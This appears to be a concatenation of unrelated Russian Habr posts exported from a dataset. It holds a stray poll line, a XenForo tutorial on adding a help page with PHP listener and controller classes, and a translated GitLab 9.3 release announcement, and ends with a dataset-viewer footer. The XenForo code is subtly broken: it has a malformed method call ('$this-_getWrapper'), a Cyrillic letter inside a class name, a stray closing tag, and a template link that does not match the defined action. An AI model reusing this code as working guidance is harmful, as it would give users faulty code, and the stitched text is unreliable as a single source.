Прошу всех дочитавших\перемотавших сюда принять участие в опросе, от которого будут зависеть будущие публикации на эту тему. | https://habr.com/ru/post/489940/ | null | ru | null |
# XenForo: добавляем новую страницу в раздел помощи
Недавно мне понадобилось создать отдельную страницу в разделе помощь на форуме, работающем на движке XenForo. Как оказалось, сделать это проще простого. Более того, не пришлось править код самого движка, что естественно, в будущем при обновлении ядра нам облегчит жизнь. Сразу оговорюсь, что статья не из разряда новаторских, а скорее How-To для самого себя.
Итак, нам потребуется создать всего лишь 2 файла **Help.php** и **LoadClassController.php** раскидав их соответственно по папкам **ControllerPublic** и **Listener**.
**Содержимое Help.php**
```
php
class AnyFolder_ControllerPublic_Help extends XFCP_AnyFolder_ControllerPublic_Help
{
public function actionYouaction()
{
return $this-_getWrapper('youaction',
$this->responseView('XenForo_ViewPublic_Help_Уouaction', 'help_youaction')
);
}
}
```
**Содержимое LoadClassController.php**
```
php
class AnyFolder_Listener_LoadClassController
{
public static function extendHelpController($class, array &$extend)
{
if ($class == 'XenForo_ControllerPublic_Help')
{
$extend[] = 'AnyFolder_ControllerPublic_Help';
}
}
}</code
```
В итоге у нас должно получиться следующее дерево документов
> * AnyFolder
> + ControllerPublic
> - Help.php
> + Listener
> - LoadClassController.php
>
Заливаем наше дерево документов в папку **library**. После чего открываем в этой же папке (**library**) файл **config.php** и включаем режим отладки дописав туда
```
$config['debug'] = true;
```
Режим отладки мы включили для того, чтобы в панели администратора получить доступ к вкладке разработка. На этой вкладке нам потребуется создать новое событие. Для этого откроем **Обработчики событий** → **Создать новое событие** (или сразу открыв в браузере ссылку вида <http://example.com/path_you_forum/admin.php?code-event-listeners/add>).
Теперь выбираем событие **load\_class\_controller**, в качестве обработчика указываем
**AnyFolder\_Listener\_LoadClassController::extendHelpController**. Остальное оставляем без изменений.
Теперь дело осталось за шаблонами. Но прежде, я хотел бы немного пояснить код описаный выше. Как вы уже наверное поняли, **AnyFolder** это название вашей папки. Это же название фигурирует и в классе, который мы создаем и подругжаем в будущем. Аналогичная ситуация с функцией **actionYouaction** и ее параметрами **youaction**, **XenForo\_ViewPublic\_Help\_Уouaction**, **help\_youaction**. Таким образом мы определили, что наша страница будет открываться по адресу [http://example.com/path\_you\_forum/help/**youaction**](http://example.com/path_you_forum/help/youaction) (в случае, если включено ЧПУ) и [http://example.com/path\_you\_forum/?help/**youaction**](http://example.com/path_you_forum/?help/youaction). Думаю не стоит пояснять, какие действия необходимо проделать, чтобы разместить файлы в папке с любым другим названием и как изменить URL вашей страницы помощи.
Ну да ладно, закончим с программированием и приступим к верстке. Для этого нам потребуется отредактировать всего лишь несколько шаблонов и добавить фразы в языковые пакеты.
В шаблон **help\_wrapper** по аналогии с другими пунктами добавим наш новый
```
- [{xen:phrase youaction}]({xen:link help/youaction})
```
Точно так же поступим и с **help\_index**
```
[{xen:phrase youaction}]({xen:link help/gude})
{xen:phrase view\_text\_youaction}
```
На последок отредактируем шаблон **navigation**, добавив в блок с хуком **navigation\_tabs\_help** свой пункт.
```
- [{xen:phrase youaction}]({xen:link help/youaction})
```
В языковых пакетах нам потребуется создать всего лишь 3 фразы:
* **view\_text\_youaction** — описание пункта помощи
* **youaction** — заголовок нашего пункта помощи
* **gude\_rules\_text** — html код нашей страницы
Завершим все созданием нового шаблона **help\_youaction** (именно это название у нас прописано в функции **actionYouaction**)
```
{xen:phrase gude}
{xen:phrase gude\_rules\_text}
```
**P.S.** Не забудьте отключить режим отладки;-) | https://habr.com/ru/post/137153/ | null | ru | null |
# Вышел GitLab 9.3: Code Quality и межпроектные графики конвейеров
Вышел GitLab 9.3: Code Quality и межпроектные графики конвейеров
================================================================
В GitLab 9.3 мы представляем Code Quality, межпроектные графики конвейеров, индекс совместной разработки, улучшения локализации, описания сниппетов и многое другое!
GitLab представляет собой интегрированный продукт для всего цикла разработки. С выходом каждого ежемесячного релиза мы стремимся добавлять новые аспекты совместного написания кода, непрерывной интеграции, автоматизации релизов и мониторинга. Так, в GitLab 9.3 мы внесли функциональность, позволяющую улучшить качество кода, сократить время цикла разработки, а также упростить управление большими проектами.
В GitLab 9.3 добавлены отчеты [Code Quality](#gitlab-code-quality-ees-eep) (качества кода), которые отображаются прямо в виджете мерж-реквеста. Эти отчеты позволяют мгновенно оценить влияние предложенных изменений на состояние вашего кода и проекта в целом. Благодаря этому сокращается время на ревью, а также появляется возможность находить ошибки перед мержем.
Современное production-level ПО, особенно то, что использует архитектуру микро-сервисов, зачастую состоит из множества различных проектов. В таком ПО очень важно понимать взаимодействие проектов. В GitLab 9.3 вы можете увидеть взаимосвязь upstream и downstream конвейеров при помощи [межпроектных графиков конвейеров](#mezhproektnye-grafiki-konveerov-eep).
Также GitLab 9.3 предоставляет возможность оценить, как вы используете каждый элемент GitLab в сравнении с другими людьми. Для этого используется [индекс совместной разработки](#indeks-sovmestnoy-razrabotki-ce-ees-eep). С помощью данного индекса можно легко оценить насколько эффективно вы используете систему по сравнению с другими пользователями, а также увидеть, какие элементы вашего рабочего процесса вы могли бы улучшить.
Мы создали небольшое видео, позволяющее оценить возможности GitLab и его новую функциональность, а также убедиться в том, что GitLab позволяет уместить весь процесс разработки на одной платформе.
[Приглашаем на нашу встречу!](https://about.gitlab.com/events/)
[MVP](https://about.gitlab.com/mvp/) этого месяца — [Huang Tao](https://gitlab.com/htve)
----------------------------------------------------------------------------------------
Huang внес значительный вклад в [локализацию](https://gitlab.com/gitlab-org/gitlab-ce/issues/32951) GitLab на несколько новых языков. Спасибо, Huang!
GitLab Code Quality (EES, EEP)
------------------------------
Сложно переоценить важность правильного код-ревью. При обзоре внесенных изменений важно обращать внимание на качество кода, реализацию, форматирование и многое другое. Даже если ревью проводится качественно, достичь постоянства в этом процессе невозможно без какой-либо оценки качества кода.
Мы создали GitLab Code Quality для того, чтобы ускорить процесс код-ревью и предоставить пользователям возможность проводить сравнительную оценку качества кода и создавать соответствующие отчеты прямо в окне мерж-реквеста. Теперь, если качество вашего кода ухудшится, GitLab укажет вам на это, и вы сможете исправить ситуацию еще до мержа.
Больше информации о GitLab Code Quality в [нашей документации](https://docs.gitlab.com/ee/user/project/merge_requests/code_quality_diff.html)
Межпроектные графики конвееров (EEP)
------------------------------------
В больших проектах, особенно в тех, что используют [архитектуру микро-сервисов](https://about.gitlab.com/2016/08/16/trends-in-version-control-land-microservices/), конечный продукт зачастую состоит из набора взаимозависимых компонентов. Из-за этого временами нелегко понять, почему произошел запуск определенного конвейера или почему произошла сборка одного проекта после коммита в другом.
В GItLab 9.3 появилась возможность отображения связей upstream и downstream проектов прямо на графиках конвейеров, благодаря чему можно легко увидеть статус всей цепочки в одном окне. Теперь для отображения связей между проектами не нужно использовать переменную `$CI_JOB_TOKEN` с триггерами — графики создаются автоматически.
Больше информации о межпроектных графиках конвейеров в [нашей документации](https://docs.gitlab.com/ee/ci/pipelines.html#multi-project-pipelines-graphs)
Индекс совместной разработки (CE, EES, EEP)
-------------------------------------------
[В прошлом сентябре мы анонсировали](https://about.gitlab.com/2016/09/14/gitlab-live-event-recap/) принципы [совместной разработки (Conversational Development — ConvDev)](http://conversationaldevelopment.com). Внедрение этой методологии ускоряет процесс разработки ПО от идеи до внедрения.
В GitLab 9.3 включен индекс совместной разработки, который предоставляет численное отображение использования данной методологии. При помощи этого индекса вы можете оценить вашу производительность по сравнению с другими пользователями GitLab, а также увидеть элементы вашего рабочего процесса, которые вы могли бы улучшить.
В данной версии этот индекс доступен только системным администраторам. Индекс формируется на основе деятельности всех активных пользователей вашего инстанса GitLab.
Больше информации об индексе совместной разработки [в нашей документации](https://docs.gitlab.com/ee/user/admin_area/monitoring/convdev.html)
Защищенные переменные для повышения безопасности конвейеров (CE, EES, EEP)
--------------------------------------------------------------------------
Секретные переменные полезны в тех случаях, когда определенную информацию нужно скрыть от внешних пользователей, однако при этом для пользователей с доступом на внесение изменений в проект она открыта. При таком подходе возможны ситуации, когда в среду разработки вносят изменения те пользователи, которые в идеале этого делать не должны; у них даже может не быть доступа на запись в `master`.
В GitLab 9.3 с введением **защищенных переменных** появляется **дополнительный уровень безопасности** для секретной информации, такой как полномочия развертывания. Теперь в `Settings` -> `CI/CD Pipelines` можно отметить переменную как «защищенную» (“protected”). Такая переменная будет доступна только для задач, выполняемых на защищенных ветках, благодаря чему доступ к ней будет открыт только для пользователей с соответствующими правами доступа.
Больше информации о защищенных секретных переменных в [нашей документации](https://docs.gitlab.com/ee/ci/variables/#protected-secret-variables)
Централизованный лог пользовательских действий и более подробные ревизии действий пользователей (EEP)
-----------------------------------------------------------------------------------------------------
Множество компаний нуждаются в отчетах изменений прав доступа по ходу всего цикла разработки. В GitLab 9.3 у каждого системного администратора появляется доступ к улучшенному централизованному логу пользовательских действий, в котором содержатся все соответствующие события групп, проектов и действий отдельных пользователей.
Кроме того, в данном логе можно проводить фильтрацию событий по типу и названию, благодаря чему можно легко находить события определенных групп, проектов или пользователей.
Больше информации о логах ревизий в [нашей документации](https://docs.gitlab.com/ee/administration/audit_events.html#audit-log-admin-only)
Упрощенные настройки репозиториев (CE, EES, EEP)
------------------------------------------------
С течением времени мы добавили много новой функциональности и вариантов конфигурации проектов и групп, и, как следствие, количество настроек GitLab значительно увеличилось.
В GitLab 9.3 мы начинаем работу по упрощению [страниц настроек](https://gitlab.com/gitlab-org/gitlab-ce/issues/28451). Первым шагом стало улучшение читаемости [страницы настроек репозиториев](https://gitlab.com/gitlab-org/gitlab-ce/issues/30378).
Мы стремимся улучшить группирование настроек и добавить обзор всех настроек для каждой секции.
Другие улучшения
----------------
### Улучшения настроек JIRA (CE, EES, EEP)
В данном релизе мы улучшили настройки интеграции JIRA, что упрощает установку и тестирование соединения между проектом GitLab и сервером JIRA. Также добавлены отдельные поля Web URL и JIRA API URL. Такое разделение полезно в тех случаях, когда JIRA REST API и задачи JIRA находятся на разных адресах.
Больше информации об интеграции JIRA в [нашей документации](https://docs.gitlab.com/ee/user/project/integrations/jira.html)
### Разрешения для ярлыков групп (CE, EES, EEP)
Пользователи с правами Reporter, Developer, Master и Owner вдобавок к ярлыкам проектов теперь могут **создавать и редактировать** ярлыки групп. Ранее это могли делать только Master and Owner.
Больше информации о модели прав доступа GitLab в [нашей документации](https://docs.gitlab.com/ee/user/permissions.html)
### Редактирование описания задач без перехода на другую страницу (CE, EES, EEP)
Описание задачи является опорной точкой и главным источником информации при совместной работе нескольких команд. В GitLab 9.3 мы убрали переход на отдельную страницу при редактировании описания задачи. Просто нажмите `Edit`, внесите изменения и нажмите `Save changes` — все это время вы остаетесь на странице задачи. Поскольку перенаправление на другую страницу теперь отсутствует, во время редактирования вы можете пролистать комментарии к задаче и даже скопировать и вставить в описание [текст GFM](https://docs.gitlab.com/ee/user/markdown.html)
Больше информации о задачах GitLab в [нашей документации](https://docs.gitlab.com/ee/user/project/issues/index.html)
### Улучшения интерфейса доски задач (CE, EES, EEP)
Мы понимаем, что у различных команд свои подходы к использованию досок задач. Для упрощения взаимодействия с ними мы добавили возможность сворачивать столбцы **Backlog** и **Closed**. Также мы внесли изменения в процесс добавления новых задач на доску: при нажатии на `+` задача автоматически добавляется в начало списка, что серьезно упрощает работу с длинными списками.
Больше информации о досках задач GitLab в [нашей документации](https://about.gitlab.com/features/issueboard/)
### Локализация домашней страницы проекта и страницы файлов репозитория (CE, EES, EEP)
В [GitLab 9.2](https://about.gitlab.com/2017/05/22/gitlab-9-2-released/#internationalized-cycle-analytics) мы начали процесс [локализации](https://gitlab.com/gitlab-org/gitlab-ce/issues/4012) с перевода страницы аналитики цикла разработки на немецкий и испанский. В GitLab 9.3 мы перевели самые часто используемые страницы: домашнюю страницу проекта и страницу файлов репозитория.
Сообщество GitLab уже начало добавлять другие языки — китайский, болгарский и бразильский португальский. Вы можете [наблюдать за изменениями](https://gitlab.com/gitlab-org/gitlab-ce/issues/32951) и взглянуть на [их гайдлайны](https://docs.gitlab.com/ee/development/i18n_guide.html), если хотите подключиться.
[Узнайте, как построено взаимодействие сообщества по переводу GitLab](https://docs.gitlab.com/ee/development/i18n_guide.html)
### Доступ к приватным образам реестра контейнеров (CE, EES, EEP)
Когда вы разворачиваете проект, основанный на Docker, вам нужно подтягивать образ каждый раз, когда окружению нужно его запустить. Поскольку встроенный [реестр контейнеров GitLab](https://docs.gitlab.com/ee/user/project/container_registry.html) является очевидным выбором для хранения ваших контейнеров, в GitLab 9.3 вы сможете использовать его и для их распространения.
Создайте токен личного доступа с новой областью `read_registry`, и у вас будет постоянный токен развертывания, который смогут использовать внешние сервисы вроде Kubernetes, чтобы при необходимости получить доступ к вашим образам — без ввода всех ваших данных или использования фиктивного пользователя для этой задачи.
Побробнее вы можете узнать в [документации о токенах личного доступа](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html)
### Системная заметка об изменениях в обсуждении устаревшего диффа (CE, EES, EEP)
На протяжении ревью кода мерж-реквеста мы постоянно изменяем код и комментируем эти изменения. Зачастую это сложно отследить. В частности, когда мы начинаем комментировать определенную строчку кода, и кто-то другой одновременно вносит туда изменения. Может закончиться тем, что вы обсуждаете что-то, что уже изменили.
В этом релизе мы добавили системную заметку — индикатор того, что строка уже изменилась. Если вы участвуете в обсуждении конкретной строки, вы узнаете, что ее уже изменили, и сможете посмотреть изменения, нажав на нее.
### Автоотмена лишних конвейеров включена для всех проектов (CE, EES, EEP)
Чтобы извлечь максимум пользы из [автоматической отмены лишних конвейеров](https://about.gitlab.com/2017/04/22/gitlab-9-1-released/#auto-cancel-redundant-pipelines-ce-ees-eep) и сэкономить множество часов разработки, GitLab 9.3 распространяет это поведение на все существующие и новые проекты.
Если вам не нужно отменять лишние конвейеры, вы можете [настроить соответствующие параметры](https://docs.gitlab.com/ee/user/project/pipelines/settings.html#auto-cancel-pending-pipelines) под свои нужды.
### Грядущее обновление Nginx (CE, EES, EEP)
В рамках предстоящего релиза GitLab 9.4 мы обновим версию nginx, входящую в Omnibus, до новой стабильной версии 1.12. В эту версию включается несколько улучшений предыдущей стабильной версии. Например, появилась возможность [фильтровать вывод лога](https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests/1585).
Для пользователей это обновление должно быть понятным, но если вы [изменяли настройки](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/nginx.md#inserting-custom-nginx-settings-into-the-gitlab-server-block) в конфигурации nginx, пожалуйста, после обновления до 1.12 удостоверьтесь, что они работают корректно.
### Поддержка Debian 9 (CE, EES, EEP)
Доступна поддержка последнего релиза [Debian 9](https://www.debian.org/News/2017/20170617). Вы можете скачать официальные пакеты Omnibus для GitLab 9.3 из [раздела установки](https://about.gitlab.com/installation).
### GitLab Mattermost 3.10 (CE, EES, EEP)
GitLab 9.3 включает [Mattermost 3.10](https://about.mattermost.com/mattermost-3-10), [альтернативу Slack](https://about.mattermost.com/) с открытым исходным кодом. В этой версии появилась поддержка турецкого языка, новые горячие клавиши и многое другое.
Подробнее об изменениях GitLab Mattermost читайте в [документации](https://docs.gitlab.com/omnibus/gitlab-mattermost/)
### Улучшения Omnibus (CE, EES, EEP)
Обновились связанные с ним пакеты Git и PostgreSQL. Git обновился до версии 2.13.0, а Postgres до 9.6.3.
[Документация об Omnibus GitLab](https://docs.gitlab.com/omnibus/)
### Описания сниппетов (CE, EES, EEP)
У сниппетов теперь есть описания. Это касается только персональных сниппетов, которые мы добавили в [предыдущем релизе](https://about.gitlab.com/2017/05/22/gitlab-9-2-released/). Сниппеты — мощный инструмент для быстрой и непринужденной совместной работы над кодом. В этом релизе совместно работать над ними стало так же просто, как и над мерж-реквестами.
[Документация о сниппетах GitLab](https://docs.gitlab.com/ee/user/snippets.html)
### Улучшения производительности (CE, EES, EEP)
Мы продолжаем улучшать производительность GitLab с каждым релизом. Это не только сделает каждый инстанс GitLab еще быстрее, но также увеличит производительность инстанса с миллионом пользователей — GitLab.com.
В GitLab 9.3 мы продолжаем ускорять вывод списка проектов, а также в целом улучшаем производительность сервера за счет изменений в том, как мы зеркалируем репозитории. Синтаксическая подсветка файлов теперь кэшируется, это повышает общую производительность и ускоряет отображение коммитов.
В GitLab 9.3 есть еще множество других [улучшений производительности](https://gitlab.com/groups/gitlab-org/issues?scope=all&state=opened&utf8=%E2%9C%93&milestone_title=9.3&label_name%5B%5D=performance), которые не только сделают GitLab быстрее, но и снизят влияние на инфраструктуру сервера в целом.
### Редизайн массового редактирования задач (CE, EES, EEP)
Мы сделали массовое редактирование задач проще и понятнее, чем в последнем релизе. Теперь при одновременном обновлении нескольких задач используется такая же боковая панель, как и во многих других элементах GitLab.
Подробнее в нашей [документации о задачах в GitLab](https://docs.gitlab.com/ee/user/project/issues/index.html)
### Улучшения поиска и фильтрации (CE, EES, EEP)
Мы продолжаем постепенно улучшать поиск и фильтрацию. Теперь вы сможете видеть пользовательские аватарки.
Также клик на фильтр вызывает выпадающее меню, позволяющее быстро менять фильтры.
Подробности вы сможете прочитать в [документации о поиске по GitLab](https://docs.gitlab.com/ee/user/search/)
### Улучшения подгрупп GitLab (CE, EES, EEP)
В GitLab 9.0 мы добавили [подгруппы](https://about.gitlab.com/2017/03/22/gitlab-9-0-released/#subgroups-ce-ee), сделав управление группами и проектами более гибким. С каждым релизом мы продолжаем улучшать эту функциональность: в этот раз мы сделали более понятную навигацию по подгруппам. На странице групп вы сможете увидеть расширяемое дерево со всеми проектами и подгруппами — вместо того, чтобы искать и загружать по странице за раз.
[Документация по подгруппам GitLab](https://docs.gitlab.com/ee/user/group/subgroups/)
### Расширенный просмотр файлов репозитория (CE, EES, EEP)
При просмотре файлов в репозитории теперь на той же странице автоматически отображается дополнительная информация.
Начиная с версии 9.3 вы сможете видеть, действительны ли файлы `.gitlab-ci.yml` или `.gitlab/route-map.yml`, а также конкретные ошибки парсинга. Также анализируется файл `LICENSE`, что упрощает доступ к информации о конкретной лицензии, если вам нужны дополнительные детали. А чтобы понять, на что опираются проекты, можно изучить системы управления зависимостями, которые теперь тоже отображаются автоматически.
### Директории, связывающиеся автоматически (CE, EES, EEP)
Ах, пакеты, эти драгоценные кусочки мудрости, собранные и готовые к использованию. GitLab теперь автоматически определяет и связывает директории в файловом обозревателе, сохраняя вам клики каждый день. Изящно, правда?
#### Эта функциональность будет работать для следующих директорий и языков:
* `*.gemspec` (Ruby)
* `package.json` (Node.js)
* `composer.json` (PHP)
* `Podfile` (Objective-C)
* `*.podspec` (Objective-C)
* `*.podspec.json` (Objective-C)
* `Cartfile` (Objective-C)
* `Godeps.json` (Go)
* `requirements.txt` (Python)
### Поддержка API для конвейеров по расписанию (CE, EES, EEP)
В GitLab 9.2 мы выпустили [конвейеры по расписанию](https://about.gitlab.com/2017/05/22/gitlab-9-2-released/#pipeline-schedules), которые можно настраивать с помощью пользовательского интерфейса. В GitLab 9.3 мы также добавили возможность создавать и управлять конвейерами по расписанию через набор API, чтобы сделать интеграцию с другими инструментами проще и эффективнее.
Подробнее в [документации об API конвейеров по расписанию](https://docs.gitlab.com/ee/api/pipeline_schedules.html)
### Количественное измерение влияния мерж-реквеста на производительность (CE, EES, EEP)
В прошлой версии GitLab мы [добавили](https://about.gitlab.com/2017/05/22/gitlab-9-2-released/#app-performance-feedback-on-merge-requests) возможность видеть влияние мерж-реквеста на память прямо на странице мерж-реквеста. В GitLab 9.3 мы решили пойти дальше: теперь мы замеряем изменения в среднем использовании памяти за 30 минут до мержа и через 30 минут после него.
Разработчикам стало проще чем когда-либо знать о влиянии их действий на производительность за счет прямой обратной связи от инструментов, которые они используют каждый день.
Подробнее в [документации о мониторинге приложений с помощью Prometheus](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#determining-the-performance-impact-of-a-merge)
### GitLab Runner 9.3 (CE, EES, EEP)
Также с этим релизом мы выпустили GitLab Runner 9.3.
##### Самые важные изменения:
* Добавили переменную `GIT_CHECKOUT`, которая контролирует выполнение git checkout ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/585))
* Добавили базовую поддержку Volumes в Kubernetes executor ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/516))
* Добавили поддержку опции `cpus` в Docker executor ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/586))
* Добавили поддержку опции `userns` в Docker executor ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/553))
* Добавили механизм отката реквестов ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/570))
* Улучшили удаление Docker в Docker executor ([мерж-реквест](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests/582))
Список всех изменений вы найдете в [CHANGELOG](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/v9.3.0/CHANGELOG.md).
[Полная документация о GitLab Runner](https://docs.gitlab.com/runner/).
### Дополнительные метрики сервиса GitLab (CE, EES, EEP)
В GitLab 9.0 был представлен [мониторинг сервиса GitLab с помощью Prometheus](https://about.gitlab.com/2017/03/22/gitlab-9-0-released/#monitoring-gitlab-with-prometheus), с помощью которого можно оценить производительность Redis, PostgreSQL, а также системы в целом.
В рамках GitLab 9.3 мы добавили экспериментальный сервис мониторинга кодовой базы ruby. Пока в нем отображаются только несколько показателей вроде статуса конвейера и авторизаций пользователей. В последующих релизах мы будем добавлять мониторинг и других частей GitLab.
Подробнее в [документации о дополнительных метриках](https://docs.gitlab.com/ce/administration/monitoring/prometheus/gitlab_metrics.html)
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: <https://about.gitlab.com/2017/06/22/gitlab-9-3-released/>
Перевод с английского выполнен переводческой артелью «Надмозг и партнеры», <http://nadmosq.ru>. Над переводом работали [rishavant](https://habr.com/ru/users/rishavant/) и [sgnl\_05](https://habr.com/ru/users/sgnl_05/) . | https://habr.com/ru/post/332204/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.